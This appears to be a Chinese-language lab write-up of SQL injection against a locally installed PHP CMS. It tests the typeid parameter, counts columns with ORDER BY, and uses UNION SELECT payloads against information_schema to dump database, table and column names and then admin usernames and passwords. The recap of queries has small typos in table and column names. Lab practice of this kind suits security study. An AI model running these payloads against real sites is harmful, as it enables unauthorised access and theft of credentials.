环境搭建
- 这里使用的windows2003+phpstudy2018+sdy1.5
- 我们解压sdy1.5至phpstudy下WWW文件内,在浏览器中输入127.0.0.1/sdy1.5进行安装
-
- 然后就进入到了首页
-
1.观察当前页面的URL:http://192.168.50.100/jdy1.5/typeid.php?typeid=2
我们发现此处的typeid特别像此前sql-lab中的id参数,可以尝试一下注入。
输入命令: ?typeid=2 and 1=1
观察到页面没有变化
输入命令: ?typeid=2 and 1=2
此时我们观察出与以前的页面发生了变化,可以断定此处存在 数字型的SQL注入。(所以不用考虑参数闭合的问题)
2.
- 此时,根据往常的思路,我们通过order by 语句判断出数据库的列数。
输入命令:?typeid =2 order by 5
?typeid = 2 order by 6
5正常回显,6错误回显,判断出列数为5.
3、我们以联合查询(union select)为例,观察回显位置。
4、 构造语句 查看当前数据库
在进行爆库爆表等等操作之前,先来回忆一下这些核心语句。
information_schema 系统默认数据库
三个重要的表
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata; 爆库
select table_name from information_schema.shcemata where table_schema=‘dvwa‘; 爆表
select column_name from information_schema.columns where table_name=‘users‘ and colunm_name =‘dvwa‘;爆列
select username,password from dvwa.users;爆内容
4、爆库
union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
6、爆表
union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=0x6a6479636d73
此时数据库jdycm 不可以直接使用 需要将其转换成十六进制或者依旧用datbase()代替。
表名如下:
jdy_admin,jdy_kh,jdy_leavewords,jdy_newscontent,jdy_newstype,jdy_settings
7、爆列
union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e
列名 id,username,password,qx,addtime
8、爆字段 union select 1,group_concat(username,0x7e,password),3,4,5 from jdycms.jdy_admin